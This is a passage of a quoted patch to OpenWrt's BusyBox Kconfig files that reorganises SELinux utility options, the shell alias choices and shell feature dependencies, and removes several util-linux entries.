> +	  svc controls the state of services monitored by the runsv supervisor.
> +	  It is comaptible with daemontools command with the same name.
>   config BUSYBOX_CONFIG_SVLOGD
>   	bool "svlogd"
>   	default BUSYBOX_DEFAULT_SVLOGD
> diff --git a/package/utils/busybox/config/selinux/Config.in b/package/utils/busybox/config/selinux/Config.in
> index 1d23f7d..1aac9f4 100644
> --- a/package/utils/busybox/config/selinux/Config.in
> +++ b/package/utils/busybox/config/selinux/Config.in
> @@ -7,7 +7,6 @@
>   menu "SELinux Utilities"
>   	depends on BUSYBOX_CONFIG_SELINUX
>   
> -
>   config BUSYBOX_CONFIG_CHCON
>   	bool "chcon"
>   	default BUSYBOX_DEFAULT_CHCON
> @@ -21,28 +20,24 @@ config BUSYBOX_CONFIG_FEATURE_CHCON_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_CHCON && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the chcon applet.
> -
>   config BUSYBOX_CONFIG_GETENFORCE
>   	bool "getenforce"
>   	default BUSYBOX_DEFAULT_GETENFORCE
>   	depends on BUSYBOX_CONFIG_SELINUX
>   	help
>   	  Enable support to get the current mode of SELinux.
> -
>   config BUSYBOX_CONFIG_GETSEBOOL
>   	bool "getsebool"
>   	default BUSYBOX_DEFAULT_GETSEBOOL
>   	depends on BUSYBOX_CONFIG_SELINUX
>   	help
>   	  Enable support to get SELinux boolean values.
> -
>   config BUSYBOX_CONFIG_LOAD_POLICY
>   	bool "load_policy"
>   	default BUSYBOX_DEFAULT_LOAD_POLICY
>   	depends on BUSYBOX_CONFIG_SELINUX
>   	help
>   	  Enable support to load SELinux policy.
> -
>   config BUSYBOX_CONFIG_MATCHPATHCON
>   	bool "matchpathcon"
>   	default BUSYBOX_DEFAULT_MATCHPATHCON
> @@ -50,15 +45,6 @@ config BUSYBOX_CONFIG_MATCHPATHCON
>   	help
>   	  Enable support to get default security context of the
>   	  specified path from the file contexts configuration.
> -
> -config BUSYBOX_CONFIG_RESTORECON
> -	bool "restorecon"
> -	default BUSYBOX_DEFAULT_RESTORECON
> -	depends on BUSYBOX_CONFIG_SELINUX
> -	help
> -	  Enable support to relabel files. The feature is almost
> -	  the same as setfiles, but usage is a little different.
> -
>   config BUSYBOX_CONFIG_RUNCON
>   	bool "runcon"
>   	default BUSYBOX_DEFAULT_RUNCON
> @@ -72,7 +58,6 @@ config BUSYBOX_CONFIG_FEATURE_RUNCON_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_RUNCON && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the runcon applet.
> -
>   config BUSYBOX_CONFIG_SELINUXENABLED
>   	bool "selinuxenabled"
>   	default BUSYBOX_DEFAULT_SELINUXENABLED
> @@ -80,14 +65,18 @@ config BUSYBOX_CONFIG_SELINUXENABLED
>   	help
>   	  Enable support for this command to be used within shell scripts
>   	  to determine if selinux is enabled.
> -
> +config BUSYBOX_CONFIG_SESTATUS
> +	bool "sestatus"
> +	default BUSYBOX_DEFAULT_SESTATUS
> +	depends on BUSYBOX_CONFIG_SELINUX
> +	help
> +	  Displays the status of SELinux.
>   config BUSYBOX_CONFIG_SETENFORCE
>   	bool "setenforce"
>   	default BUSYBOX_DEFAULT_SETENFORCE
>   	depends on BUSYBOX_CONFIG_SELINUX
>   	help
>   	  Enable support to modify the mode SELinux is running in.
> -
>   config BUSYBOX_CONFIG_SETFILES
>   	bool "setfiles"
>   	default BUSYBOX_DEFAULT_SETFILES
> @@ -106,6 +95,13 @@ config BUSYBOX_CONFIG_FEATURE_SETFILES_CHECK_OPTION
>   	  Support "-c" option (check the validity of the contexts against
>   	  the specified binary policy) for setfiles. Requires libsepol.
>   
> +config BUSYBOX_CONFIG_RESTORECON
> +	bool "restorecon"
> +	default BUSYBOX_DEFAULT_RESTORECON
> +	depends on BUSYBOX_CONFIG_SELINUX
> +	help
> +	  Enable support to relabel files. The feature is almost
> +	  the same as setfiles, but usage is a little different.
>   config BUSYBOX_CONFIG_SETSEBOOL
>   	bool "setsebool"
>   	default BUSYBOX_DEFAULT_SETSEBOOL
> @@ -114,11 +110,4 @@ config BUSYBOX_CONFIG_SETSEBOOL
>   	  Enable support for change boolean.
>   	  semanage and -P option is not supported yet.
>   
> -config BUSYBOX_CONFIG_SESTATUS
> -	bool "sestatus"
> -	default BUSYBOX_DEFAULT_SESTATUS
> -	depends on BUSYBOX_CONFIG_SELINUX
> -	help
> -	  Displays the status of SELinux.
> -
>   endmenu
> diff --git a/package/utils/busybox/config/shell/Config.in b/package/utils/busybox/config/shell/Config.in
> index 69ecf14..4193c18 100644
> --- a/package/utils/busybox/config/shell/Config.in
> +++ b/package/utils/busybox/config/shell/Config.in
> @@ -6,6 +6,57 @@
>   
>   menu "Shells"
>   
> +
> +choice
> +	prompt "Choose which shell is aliased to 'sh' name"
> +	default BUSYBOX_CONFIG_SH_IS_ASH
> +	help
> +	  Choose which shell you want to be executed by 'sh' alias.
> +	  The ash shell is the most bash compatible and full featured one.
> +
> +# note: cannot use "select ASH" here, it breaks "make allnoconfig"
> +config BUSYBOX_CONFIG_SH_IS_ASH
> +	depends on !BUSYBOX_CONFIG_NOMMU
> +	bool "ash"
> +
> +config BUSYBOX_CONFIG_SH_IS_HUSH
> +	bool "hush"
> +
> +config BUSYBOX_CONFIG_SH_IS_NONE
> +	bool "none"
> +
> +endchoice
> +
> +choice
> +	prompt "Choose which shell is aliased to 'bash' name"
> +	default BUSYBOX_CONFIG_BASH_IS_NONE
> +	help
> +	  Choose which shell you want to be executed by 'bash' alias.
> +	  The ash shell is the most bash compatible and full featured one.
> +
> +	  Note that selecting this option does not switch on any bash
> +	  compatibility code. It merely makes it possible to install
> +	  /bin/bash (sym)link and run scripts which start with
> +	  #!/bin/bash line.
> +
> +	  Many systems use it in scripts which use bash-specific features,
> +	  even simple ones like $RANDOM. Without this option, busybox
> +	  can't be used for running them because it won't recongnize
> +	  "bash" as a supported applet name.
> +
> +config BUSYBOX_CONFIG_BASH_IS_ASH
> +	depends on !BUSYBOX_CONFIG_NOMMU
> +	bool "ash"
> +
> +config BUSYBOX_CONFIG_BASH_IS_HUSH
> +	bool "hush"
> +
> +config BUSYBOX_CONFIG_BASH_IS_NONE
> +	bool "none"
> +
> +endchoice
> +
> +
>   config BUSYBOX_CONFIG_ASH
>   	bool "ash"
>   	default BUSYBOX_DEFAULT_ASH
> @@ -17,73 +68,109 @@ config BUSYBOX_CONFIG_ASH
>   	  shell (by Herbert Xu), which was created by porting the 'ash' shell
>   	  (written by Kenneth Almquist) from NetBSD.
>   
> +config BUSYBOX_CONFIG_ASH_OPTIMIZE_FOR_SIZE
> +	bool "Optimize for size instead of speed"
> +	default BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
> +	help
> +	  Compile ash for reduced size at the price of speed.
> +
> +config BUSYBOX_CONFIG_ASH_INTERNAL_GLOB
> +	bool "Use internal glob() implementation"
> +	default BUSYBOX_DEFAULT_ASH_INTERNAL_GLOB	# Y is bigger, but because of uclibc glob() bug, let Y be default for now
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
> +	help
> +	  Do not use glob() function from libc, use internal implementation.
> +	  Use this if you are getting "glob.h: No such file or directory"
> +	  or similar build errors.
> +
> +config BUSYBOX_CONFIG_ASH_RANDOM_SUPPORT
> +	bool "Pseudorandom generator and $RANDOM variable"
> +	default BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
> +	help
> +	  Enable pseudorandom generator and dynamic variable "$RANDOM".
> +	  Each read of "$RANDOM" will generate a new pseudorandom value.
> +	  You can reset the generator by using a specified start value.
> +	  After "unset RANDOM" the generator will switch off and this
> +	  variable will no longer have special treatment.
> +
> +config BUSYBOX_CONFIG_ASH_EXPAND_PRMT
> +	bool "Expand prompt string"
> +	default BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
> +	help
> +	  "PS#" may contain volatile content, such as backquote commands.
> +	  This option recreates the prompt string from the environment
> +	  variable each time it is displayed.
> +
>   config BUSYBOX_CONFIG_ASH_BASH_COMPAT
>   	bool "bash-compatible extensions"
>   	default BUSYBOX_DEFAULT_ASH_BASH_COMPAT
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable bash-compatible extensions.
>   
>   config BUSYBOX_CONFIG_ASH_IDLE_TIMEOUT
>   	bool "Idle timeout variable"
>   	default BUSYBOX_DEFAULT_ASH_IDLE_TIMEOUT
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enables bash-like auto-logout after $TMOUT seconds of idle time.
>   
>   config BUSYBOX_CONFIG_ASH_JOB_CONTROL
>   	bool "Job control"
>   	default BUSYBOX_DEFAULT_ASH_JOB_CONTROL
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable job control in the ash shell.
>   
>   config BUSYBOX_CONFIG_ASH_ALIAS
>   	bool "Alias support"
>   	default BUSYBOX_DEFAULT_ASH_ALIAS
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable alias support in the ash shell.
>   
>   config BUSYBOX_CONFIG_ASH_GETOPTS
>   	bool "Builtin getopt to parse positional parameters"
>   	default BUSYBOX_DEFAULT_ASH_GETOPTS
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable support for getopts builtin in ash.
>   
>   config BUSYBOX_CONFIG_ASH_BUILTIN_ECHO
>   	bool "Builtin version of 'echo'"
>   	default BUSYBOX_DEFAULT_ASH_BUILTIN_ECHO
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable support for echo builtin in ash.
>   
>   config BUSYBOX_CONFIG_ASH_BUILTIN_PRINTF
>   	bool "Builtin version of 'printf'"
>   	default BUSYBOX_DEFAULT_ASH_BUILTIN_PRINTF
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable support for printf builtin in ash.
>   
>   config BUSYBOX_CONFIG_ASH_BUILTIN_TEST
>   	bool "Builtin version of 'test'"
>   	default BUSYBOX_DEFAULT_ASH_BUILTIN_TEST
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable support for test builtin in ash.
>   
>   config BUSYBOX_CONFIG_ASH_HELP
>   	bool "help builtin"
>   	default BUSYBOX_DEFAULT_ASH_HELP
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable help builtin in ash.
>   
>   config BUSYBOX_CONFIG_ASH_CMDCMD
>   	bool "'command' command to override shell builtins"
>   	default BUSYBOX_DEFAULT_ASH_CMDCMD
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable support for the ash 'command' builtin, which allows
>   	  you to run the specified command with the specified arguments,
> @@ -92,37 +179,9 @@ config BUSYBOX_CONFIG_ASH_CMDCMD
>   config BUSYBOX_CONFIG_ASH_MAIL
>   	bool "Check for new mail on interactive shells"
>   	default BUSYBOX_DEFAULT_ASH_MAIL
> -	depends on BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH
>   	help
>   	  Enable "check for new mail" function in the ash shell.
> -
> -config BUSYBOX_CONFIG_ASH_OPTIMIZE_FOR_SIZE
> -	bool "Optimize for size instead of speed"
> -	default BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
> -	depends on BUSYBOX_CONFIG_ASH
> -	help
> -	  Compile ash for reduced size at the price of speed.
> -
> -config BUSYBOX_CONFIG_ASH_RANDOM_SUPPORT
> -	bool "Pseudorandom generator and $RANDOM variable"
> -	default BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
> -	depends on BUSYBOX_CONFIG_ASH
> -	help
> -	  Enable pseudorandom generator and dynamic variable "$RANDOM".
> -	  Each read of "$RANDOM" will generate a new pseudorandom value.
> -	  You can reset the generator by using a specified start value.
> -	  After "unset RANDOM" the generator will switch off and this
> -	  variable will no longer have special treatment.
> -
> -config BUSYBOX_CONFIG_ASH_EXPAND_PRMT
> -	bool "Expand prompt string"
> -	default BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
> -	depends on BUSYBOX_CONFIG_ASH
> -	help
> -	  "PS#" may contain volatile content, such as backquote commands.
> -	  This option recreates the prompt string from the environment
> -	  variable each time it is displayed.
> -
>   config BUSYBOX_CONFIG_CTTYHACK
>   	bool "cttyhack"
>   	default BUSYBOX_DEFAULT_CTTYHACK
> @@ -183,7 +242,7 @@ config BUSYBOX_CONFIG_HUSH
>   config BUSYBOX_CONFIG_HUSH_BASH_COMPAT
>   	bool "bash-compatible extensions"
>   	default BUSYBOX_DEFAULT_HUSH_BASH_COMPAT
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable bash-compatible extensions.
>   
> @@ -197,14 +256,14 @@ config BUSYBOX_CONFIG_HUSH_BRACE_EXPANSION
>   config BUSYBOX_CONFIG_HUSH_HELP
>   	bool "help builtin"
>   	default BUSYBOX_DEFAULT_HUSH_HELP
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable help builtin in hush. Code size + ~1 kbyte.
>   
>   config BUSYBOX_CONFIG_HUSH_INTERACTIVE
>   	bool "Interactive mode"
>   	default BUSYBOX_DEFAULT_HUSH_INTERACTIVE
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable interactive mode (prompt and command editing).
>   	  Without this, hush simply reads and executes commands
> @@ -232,35 +291,35 @@ config BUSYBOX_CONFIG_HUSH_JOB
>   config BUSYBOX_CONFIG_HUSH_TICK
>   	bool "Process substitution"
>   	default BUSYBOX_DEFAULT_HUSH_TICK
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable process substitution `command` and $(command) in hush.
>   
>   config BUSYBOX_CONFIG_HUSH_IF
>   	bool "Support if/then/elif/else/fi"
>   	default BUSYBOX_DEFAULT_HUSH_IF
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable if/then/elif/else/fi in hush.
>   
>   config BUSYBOX_CONFIG_HUSH_LOOPS
>   	bool "Support for, while and until loops"
>   	default BUSYBOX_DEFAULT_HUSH_LOOPS
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable for, while and until loops in hush.
>   
>   config BUSYBOX_CONFIG_HUSH_CASE
>   	bool "Support case ... esac statement"
>   	default BUSYBOX_DEFAULT_HUSH_CASE
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable case ... esac statement in hush. +400 bytes.
>   
>   config BUSYBOX_CONFIG_HUSH_FUNCTIONS
>   	bool "Support funcname() { commands; } syntax"
>   	default BUSYBOX_DEFAULT_HUSH_FUNCTIONS
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable support for shell functions in hush. +800 bytes.
>   
> @@ -274,7 +333,7 @@ config BUSYBOX_CONFIG_HUSH_LOCAL
>   config BUSYBOX_CONFIG_HUSH_RANDOM_SUPPORT
>   	bool "Pseudorandom generator and $RANDOM variable"
>   	default BUSYBOX_DEFAULT_HUSH_RANDOM_SUPPORT
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable pseudorandom generator and dynamic variable "$RANDOM".
>   	  Each read of "$RANDOM" will generate a new pseudorandom value.
> @@ -282,14 +341,14 @@ config BUSYBOX_CONFIG_HUSH_RANDOM_SUPPORT
>   config BUSYBOX_CONFIG_HUSH_EXPORT_N
>   	bool "Support 'export -n' option"
>   	default BUSYBOX_DEFAULT_HUSH_EXPORT_N
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  export -n unexports variables. It is a bash extension.
>   
>   config BUSYBOX_CONFIG_HUSH_MODE_X
>   	bool "Support 'hush -x' option and 'set -x' command"
>   	default BUSYBOX_DEFAULT_HUSH_MODE_X
> -	depends on BUSYBOX_CONFIG_HUSH
> +	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  This instructs hush to print commands before execution.
>   	  Adds ~300 bytes.
> @@ -302,72 +361,17 @@ config BUSYBOX_CONFIG_MSH
>   	  msh is deprecated and will be removed, please migrate to hush.
>   
>   
> -
> -choice
> -	prompt "Choose which shell is aliased to 'sh' name"
> -	default BUSYBOX_CONFIG_FEATURE_SH_IS_ASH
> -	help
> -	  Choose which shell you want to be executed by 'sh' alias.
> -	  The ash shell is the most bash compatible and full featured one.
> -
> -# note: cannot use "select ASH" here, it breaks "make allnoconfig"
> -config BUSYBOX_CONFIG_FEATURE_SH_IS_ASH
> -	depends on BUSYBOX_CONFIG_ASH
> -	bool "ash"
> -	depends on !BUSYBOX_CONFIG_NOMMU
> -
> -config BUSYBOX_CONFIG_FEATURE_SH_IS_HUSH
> -	depends on BUSYBOX_CONFIG_HUSH
> -	bool "hush"
> -
> -config BUSYBOX_CONFIG_FEATURE_SH_IS_NONE
> -	bool "none"
> -
> -endchoice
> -
> -choice
> -	prompt "Choose which shell is aliased to 'bash' name"
> -	default BUSYBOX_CONFIG_FEATURE_BASH_IS_NONE
> -	help
> -	  Choose which shell you want to be executed by 'bash' alias.
> -	  The ash shell is the most bash compatible and full featured one.
> -
> -	  Note that selecting this option does not switch on any bash
> -	  compatibility code. It merely makes it possible to install
> -	  /bin/bash (sym)link and run scripts which start with
> -	  #!/bin/bash line.
> -
> -	  Many systems use it in scripts which use bash-specific features,
> -	  even simple ones like $RANDOM. Without this option, busybox
> -	  can't be used for running them because it won't recongnize
> -	  "bash" as a supported applet name.
> -
> -config BUSYBOX_CONFIG_FEATURE_BASH_IS_ASH
> -	depends on BUSYBOX_CONFIG_ASH
> -	bool "ash"
> -	depends on !BUSYBOX_CONFIG_NOMMU
> -
> -config BUSYBOX_CONFIG_FEATURE_BASH_IS_HUSH
> -	depends on BUSYBOX_CONFIG_HUSH
> -	bool "hush"
> -
> -config BUSYBOX_CONFIG_FEATURE_BASH_IS_NONE
> -	bool "none"
> -
> -endchoice
> -
> -
> -config BUSYBOX_CONFIG_SH_MATH_SUPPORT
> +config BUSYBOX_CONFIG_FEATURE_SH_MATH
>   	bool "POSIX math support"
> -	default BUSYBOX_DEFAULT_SH_MATH_SUPPORT
> -	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH
> +	default BUSYBOX_DEFAULT_FEATURE_SH_MATH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Enable math support in the shell via $((...)) syntax.
>   
> -config BUSYBOX_CONFIG_SH_MATH_SUPPORT_64
> +config BUSYBOX_CONFIG_FEATURE_SH_MATH_64
>   	bool "Extend POSIX math support to 64 bit"
> -	default BUSYBOX_DEFAULT_SH_MATH_SUPPORT_64
> -	depends on BUSYBOX_CONFIG_SH_MATH_SUPPORT
> +	default BUSYBOX_DEFAULT_FEATURE_SH_MATH_64
> +	depends on BUSYBOX_CONFIG_FEATURE_SH_MATH
>   	help
>   	  Enable 64-bit math support in the shell. This will make the shell
>   	  slightly larger, but will allow computation with very large numbers.
> @@ -376,14 +380,14 @@ config BUSYBOX_CONFIG_SH_MATH_SUPPORT_64
>   config BUSYBOX_CONFIG_FEATURE_SH_EXTRA_QUIET
>   	bool "Hide message on interactive shell startup"
>   	default BUSYBOX_DEFAULT_FEATURE_SH_EXTRA_QUIET
> -	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  Remove the busybox introduction when starting a shell.
>   
>   config BUSYBOX_CONFIG_FEATURE_SH_STANDALONE
>   	bool "Standalone shell"
>   	default BUSYBOX_DEFAULT_FEATURE_SH_STANDALONE
> -	depends on (BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH) && BUSYBOX_CONFIG_FEATURE_PREFER_APPLETS
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  This option causes busybox shells to use busybox applets
>   	  in preference to executables in the PATH whenever possible. For
> @@ -416,7 +420,7 @@ config BUSYBOX_CONFIG_FEATURE_SH_STANDALONE
>   config BUSYBOX_CONFIG_FEATURE_SH_NOFORK
>   	bool "Run 'nofork' applets directly"
>   	default BUSYBOX_DEFAULT_FEATURE_SH_NOFORK
> -	depends on (BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH) && BUSYBOX_CONFIG_FEATURE_PREFER_APPLETS
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  This option causes busybox shells to not execute typical
>   	  fork/exec/wait sequence, but call <applet>_main directly,
> @@ -434,7 +438,7 @@ config BUSYBOX_CONFIG_FEATURE_SH_NOFORK
>   config BUSYBOX_CONFIG_FEATURE_SH_HISTFILESIZE
>   	bool "Use $HISTFILESIZE"
>   	default BUSYBOX_DEFAULT_FEATURE_SH_HISTFILESIZE
> -	depends on BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_ASH
> +	depends on BUSYBOX_CONFIG_ASH || BUSYBOX_CONFIG_HUSH || BUSYBOX_CONFIG_SH_IS_ASH || BUSYBOX_CONFIG_BASH_IS_ASH || BUSYBOX_CONFIG_SH_IS_HUSH || BUSYBOX_CONFIG_BASH_IS_HUSH
>   	help
>   	  This option makes busybox shells to use $HISTFILESIZE variable
>   	  to set shell history size. Note that its max value is capped
> diff --git a/package/utils/busybox/config/sysklogd/Config.in b/package/utils/busybox/config/sysklogd/Config.in
> index 5fcee2c..1f8f3cf 100644
> --- a/package/utils/busybox/config/sysklogd/Config.in
> +++ b/package/utils/busybox/config/sysklogd/Config.in
> @@ -47,7 +47,6 @@ config BUSYBOX_CONFIG_LOGGER
>   config BUSYBOX_CONFIG_LOGREAD
>   	bool "logread"
>   	default BUSYBOX_DEFAULT_LOGREAD
> -	depends on BUSYBOX_CONFIG_FEATURE_IPC_SYSLOG
>   	help
>   	  If you enabled Circular Buffer support, you almost
>   	  certainly want to enable this feature as well. This
> diff --git a/package/utils/busybox/config/util-linux/Config.in b/package/utils/busybox/config/util-linux/Config.in
> index 08bddf8..8df023c 100644
> --- a/package/utils/busybox/config/util-linux/Config.in
> +++ b/package/utils/busybox/config/util-linux/Config.in
> @@ -6,222 +6,6 @@
>   
>   menu "Linux System Utilities"
>   
> -config BUSYBOX_CONFIG_BLKDISCARD
> -	bool "blkdiscard"
> -	default BUSYBOX_DEFAULT_BLKDISCARD
> -	help
> -	  blkdiscard discards sectors on a given device.
> -config BUSYBOX_CONFIG_BLOCKDEV
> -	bool "blockdev"
> -	default BUSYBOX_DEFAULT_BLOCKDEV
> -	help
> -	  Performs some ioctls with block devices.
> -config BUSYBOX_CONFIG_FATATTR
> -	bool "fatattr"
> -	default BUSYBOX_DEFAULT_FATATTR
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  fatattr lists or changes the file attributes on a fat file system.
> -config BUSYBOX_CONFIG_FSTRIM
> -	bool "fstrim"
> -	default BUSYBOX_DEFAULT_FSTRIM
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Discard unused blocks on a mounted filesystem.
> -config BUSYBOX_CONFIG_MDEV
> -	bool "mdev"
> -	default BUSYBOX_DEFAULT_MDEV
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  mdev is a mini-udev implementation for dynamically creating device
> -	  nodes in the /dev directory.
> -
> -	  For more information, please see docs/mdev.txt
> -
> -config BUSYBOX_CONFIG_FEATURE_MDEV_CONF
> -	bool "Support /etc/mdev.conf"
> -	default BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
> -	depends on BUSYBOX_CONFIG_MDEV
> -	help
> -	  Add support for the mdev config file to control ownership and
> -	  permissions of the device nodes.
> -
> -	  For more information, please see docs/mdev.txt
> -
> -config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
> -	bool "Support subdirs/symlinks"
> -	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
> -	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
> -	help
> -	  Add support for renaming devices and creating symlinks.
> -
> -	  For more information, please see docs/mdev.txt
> -
> -config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME_REGEXP
> -	bool "Support regular expressions substitutions when renaming device"
> -	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
> -	depends on BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
> -	help
> -	  Add support for regular expressions substitutions when renaming
> -	  device.
> -
> -config BUSYBOX_CONFIG_FEATURE_MDEV_EXEC
> -	bool "Support command execution at device addition/removal"
> -	default BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
> -	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
> -	help
> -	  This adds support for an optional field to /etc/mdev.conf for
> -	  executing commands when devices are created/removed.
> -
> -	  For more information, please see docs/mdev.txt
> -
> -config BUSYBOX_CONFIG_FEATURE_MDEV_LOAD_FIRMWARE
> -	bool "Support loading of firmwares"
> -	default BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
> -	depends on BUSYBOX_CONFIG_MDEV
> -	help
> -	  Some devices need to load firmware before they can be usable.
> -
> -	  These devices will request userspace look up the files in
> -	  /lib/firmware/ and if it exists, send it to the kernel for
> -	  loading into the hardware.
> -config BUSYBOX_CONFIG_MOUNT
> -	bool "mount"
